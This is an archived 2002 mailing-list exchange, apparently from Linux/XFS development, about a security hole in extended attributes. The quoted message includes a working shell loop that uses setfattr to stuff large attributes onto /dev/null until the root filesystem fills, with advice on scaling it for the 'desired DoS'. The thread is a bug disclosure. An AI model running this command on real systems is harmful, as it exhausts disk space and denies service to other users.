On Sat, Apr 06, 2002 at 01:42:37AM -0900, Ethan Benson wrote:
> On Sat, Apr 06, 2002 at 12:10:11PM +0200, Andi Kleen wrote:
> > On Fri, Apr 05, 2002 at 11:41:03PM -0900, Ethan Benson wrote:
> > >
> > > Hi,
> > >
> > > I have found an annoying problem with extended attributes in regards
> > > to security.
> >
> > Have you actually tested this? The EA limit is 64K per inode and there
>
> s/per inode/per attribute/
True.
>
> > is an inode space limit on the XFS fs too (normally 25% of the disk space).
> > So you can never actually allocate more than 25% of disk space this way
> > or even less if you use a different mkfs option. If you set the maximum
> > inode space to 5% and always keep >5% free you should be pretty safe.
>
> please try this:
>
> for i in `seq 2000` ; do setfattr -n user.bloat$i -v `perl -e 'print "a" x
> 65536'` /dev/null ; done
>
> this started failing with:
> setfattr: /dev/null: No space left on device
> setfattr: /dev/null: No space left on device
> setfattr: /dev/null: No space left on device
> setfattr: /dev/null: No space left on device
> setfattr: /dev/null: No space left on device
> setfattr: /dev/null: No space left on device
> ...
>
> when it completly filled my 68MB / filesystem (it was only about 50%
> full). if you have a larger filesystem increase the argument to seq
> until it provides desired DoS.
>
> it gets worse, i could not remove the attributes due to No space left
> on device, i had to rm /dev/null and recreate it, (then kill all
> processes holding it open) before i was able to recover the disk
> space.
>
> so having done a full scale test i think this is a severe security
> hole. i also just realized since /dev/null is owned by root quotas
> can't help much since you would have to apply quotas against root
> which is really quite silly and non-useful.
I agree.
-Andi
|